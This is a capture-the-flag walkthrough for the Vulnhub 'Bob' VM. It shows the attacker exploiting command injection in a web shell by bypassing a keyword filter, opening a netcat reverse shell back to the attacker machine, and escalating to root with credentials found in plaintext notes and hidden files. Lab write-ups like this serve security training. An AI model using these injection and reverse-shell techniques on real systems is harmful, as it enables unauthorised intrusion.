Vulnhub Link: https://www.vulnhub.com/entry/bob-101,226/

The Vulnhub description states that the difficulty of this box is Beginner-Intermediate.

Bob is my first CTF VM that I have ever made so be easy on me if it's not perfect. The Milburg Highschool Server has just been attacked, the IT staff have taken down their windows server and are now setting up a linux server running Debian. Could there a few weak points in the new unfinished server?

Your Goal is to get the flag in / Hints: Remember to look for hidden info/files Changelog: v1.0 ~ 2018-03-07 v1.0.1 ~ 2018-03-09

Machine Box: 192.168.1.5

Attacker Box: 192.168.1.14

The first thing we would do is to gather every possible information about this box, this includes enumeration. We start off by running nmap to see the lists of ports and services running.

nmap -sV -sT -A 192.168.1.5

So I snipped out the unnecessary details, this should give us an idea of the box.

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.5b

80/tcp open http Apache httpd 2.4.25 ((Debian))

| http-robots.txt: 4 disallowed entries

| /login.php /dev_shell.php /lat_memo.html

|_/passwords.html

|_http-server-header: Apache/2.4.25 (Debian)

|_http-title: Site doesn’t have a title (text/html).

Service Info: OS: Unix

Since port 80/TCP is open here is an image of the homepage.

I’ve checked all the available pages we can view, but it seems to be that there is nothing of interest for now, we move along with our next procedure.

Running Nikto

nikto -host 192.168.1.5

We see 3 interesting flags from our Nikto scan.

/dev_shell.php – Shows us an input box.

/lat_memo.html – A memo about the previous hack, admin has moved from Windows to Linux. Also hinted about a shell, which is ‘/dev_shell.php’

/passwords.html – A staff named Bob complaining about the recent hack. Let’s take note of his name for our later use.

There may be more files lying around that we have not seen yet? So I ran dirb using /big.txt wordlist (default for Kali Linux – /usr/share/wordlists/dirb/big.txt) Nothing interesting from the scan.

We now focus our attention at /dev_shell.php

I typed ‘whoami’ the output has showed us a result we’ve been expecting, the page is vulnerable to code injection so now we know that we are currently running a user named ‘www-data’ this user is quite common for Apache based web-services but to little permissions, our next step now is to establish a limited shell so we could have a better view of our box.

I open up my BurpSuite to further our trekking, I turn on Burp’s intercept option, and switch to my browser’s localhost proxy, that way BurpSuite will capture any requests passed thru our proxy.

You can use FoxyProxy (an add-on for Firefox), the add-on allows you to manage your proxies, you could also do this to your Browser’s settings, but I highly recommend that you use FoxyProxy for ease of use.

Nothing interesting, but our purpose of using BurpSuite is to manipulate our input and to be able to establish a working shell, to do this we send our request to the ‘Repeater’ and make things easier for our work.

Short-cut for Repeater: CTRL + R

Now for the parameter: ‘in_command’ we shall be putting our commands there, but if you notice the page displays an output if it reads a familiar Linux command.

Now there’s a way to bypass this basic filtering, And that is to run a Linux command you want from its location. If so you would like to run ‘ls’ but the page is preventing you from doing so, you can run this instead ‘/bin/ls’.

After several attempts of establishing a shell for our machine, the page is still preventing us from doing so because of the filtering that is in place, hmm.. Where do you go from here then? We view the dev_shell.php page itself.

By typing in the command /bin/cat dev_shell.php

dev_shell.php

system("running command..."); //executes system Command //checks for sneaky ; if (strpos($command, ';') !==false){ system("echo Nice try skid, but you will never get through this bulletproof php code"); //doesn't work :P } else{ $is_he_a_bad_man = explode(' ', trim($command)); //checks for dangerous commands if (in_array($is_he_a_bad_man[0], $bad_words)){ system("echo Get out skid lol"); } else{ system($_POST['in_command']); } }

So we now know that we could not use ‘;’ for the input, the script reads the input and splits each with a space and iterates again for each value of the array, this disallows any possible commands read by the script,such as the case for any ‘dangerous’ commands that means running PHP code for our lovely shell is out of the picture. There must be away perhaps? Let’s look further the possible commands we could run. We could bypass this by calling in the command from its location, such the ‘/’

/bin/ls /bin/

nc or netcat is an available command we could use. (check right column)

Now there are different ways we could craft a reverse shell for us, but for this scenario we could use nc, maybe some other techniques as well.

Here is a detailed walkthrough for other reverse shells: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

For our attacking machine: nc -lvp 4444

-l = listening mode

-v = verbosity

-p = local port number

/bin/nc -e /bin/sh 192.168.1.14 4444

We now have a limited shell.

Type in the following:

python -c ‘import pty; pty.spawn(“/bin/bash”)’

Now since we have a working shell at our hands our next procedure would be to find any security issues that would serve as a purpose to fully gaining access the box.

Let’s enumerate some more.

Here is a list of interesting users, and their permissions. But if you notice the last line, perhaps there’s a possibility of a SSH service running, maybe we have overlooked our scans or we didn’t enumerate all the ports running. Let’s do another nmap scan this time we

25468/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0) | ssh-hostkey: | 2048 84:f2:f8:e5:ed:3e:14:f3:93:d4:1e:4c:41:3b:a2:a9 (RSA) | 256 5b:98:c7:4f:84:6e:fd:56:6a:35:16:83:aa:9c:ea:f8 (ECDSA) |_ 256 39:16:56:fb:4e:0f:50:85:40:d3:53:22:41:43:38:15 (EdDSA)

An open SSH, we still need credentials to access it. Now for our final purpose – escalate to root. We trek to the /home/ directory and we find several folders each belonging to its perspective users.

But after several hours of fiddling for a possible privilege escalation I concluded that it could not be our final knock at the door, and spending several more hours stubbing cigarettes and frustratingly looking for security issues running about the system there seems to not a way into this? Then after browsing each user’s home directory back and forth we may have spent those countless hours barking at the wrong tree.

We navigate to bob and open staff.txt

Seb: Seems to like Elliot Wants to do well at his job Gave me a backdoored FTP to instal that apparently Elliot gave him James: Does nothing Pretty Lazy Doesn't give a shit about his job Elliot: Keeps to himself Always needs to challenge everything I do Keep an eye on him Try and get him fired

Another interesting file we found is this:

login.txt.gpg – it seems to be encrypted and requires a password to decrypt it.

We navigate to /Secret/Keep_Out/Not_Porn/No_Lookie_In_Here/ and find another note.

notes.sh

#!/bin/bash clear echo "-= Notes =-" echo "Harry Potter is my faviorite" echo "Are you the real me?" echo "Right, I'm ordering pizza this is going nowhere" echo "People just don't get me" echo "Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>" echo "Cucumber" echo "Rest now your eyes are sleepy" echo "Are you gonna stop reading this yet?" echo "Time to fix the server" echo "Everyone is annoying" echo "Sticky notes gotta buy em"

Now it doesn’t make any sense at first, but if you look closely for every letter of the sentence and add each for the next consecutive line we are able to construct a word. ‘HARPOCRATES’

This might be our key to unlocking the encrypted file? Sadly we do not have the perms yet, we move on to other user folders. Upon checking into /elliot/ we have another note. This time user Elliot is ranting about Bob

The admin is dumb, In fact everyone in the IT dept is pretty bad but I can’t blame all of them the newbies Sebastian and James are quite new to managing a server so I can forgive them for that password file they made on the server. But the admin now he’s quite something. Thinks he knows more than everyone else in the dept, he always yells at Sebastian and James now they do some dumb stuff but their new and this is just a high-school server who cares, the only people that would try and hack into this are script kiddies. His wallpaper policy also is redundant, why do we need custom wallpapers that doesn’t do anything. I have been suggesting time and time again to Bob ways we could improve the security since he “cares” about it so much but he just yells at me and says I don’t know what i’m doing. Sebastian has noticed and I gave him some tips on better securing his account, I can’t say the same for his friend James who doesn’t care and made his password: Qwerty . To be honest James isn’t the worst bob is his stupid web shell has issues and I keep telling him what he needs to patch but he doesn’t care about what I have to say. it’s only a matter of time before it’s broken into so because of this I have changed my password to theadminisdumb I hope bob is fired after the future second breach because of his incompetence. I almost want to fix it myself but at the same time it doesn’t affect me if they get breached, I get paid, he gets fired it’s a good time.

James is referred to his user jc we did that ‘cat’ing passwd file,

we sudo our way into his account using the password provided by

Elliot. Now let’s check if we have the privs to decrypt the

password.txt from Bob’s home folder.

Sadly to see if we we’re able to solve a little bit of the puzzle

we end up with the prompt – Permission denied. There must be

another way to decrypt the password file! Let’s take a step back

and see the bigger picture, perhaps there’s another user aside

from James who could do the dirty work for us and again spending

several time wrestling through each of their directory back and

forth looking for little crumbs that we may have missed.

Another glimpse of hope.

I simply was doing things in a hurry moving back and forth to see

the picture, a little misstep I did was not viewing the hidden files for bob.

We view the file and this shows up.

.old_passwordfile.html

<html> <p> jc:Qwerty seb:T1tanium_Pa$$word_Hack3rs_Fear_M3 </p> </html>

An old password file in HTML. Perhaps this was the reason why they got hacked in the first place. Haha, moving on let’s try seb’s credentials in sudo.

And now we logged in as seb. Let us hope a little bit more perhaps this user could be our key to unlocking the super secret password? Perhaps our way of owning bob and moving to root? And maybe getting four of them fired from their jobs? We shall see.

Aaaand voila~~ We move su our way into bob’s account. Since we have bob’s access perhaps its time to view the long awaited – painstakingly flag?

Hmm perhaps not?

Take note that bob can run all the commands, including sudo now to gain access to our super user root, we simply type sudo su. Now for the long awaited flag.

An actual flag, we could have expected a harsh ending for our sysadmins right?

Thank you for reading my walk-though, as much as I have enjoyed spending time playing with this box and making this post for you guys. Now I admit that I have made mistakes along the way, once I was able to get a limited shell with user www-data I immediately jumped conclusion about executing an exploit running to escalate ourselves to root, but much of the time was wasted rather prodding to a different aspect of the box, an aspect so obvious I failed to look at. Lesson learned enumeration is indeed key to unlocking each doors you stumble along the way.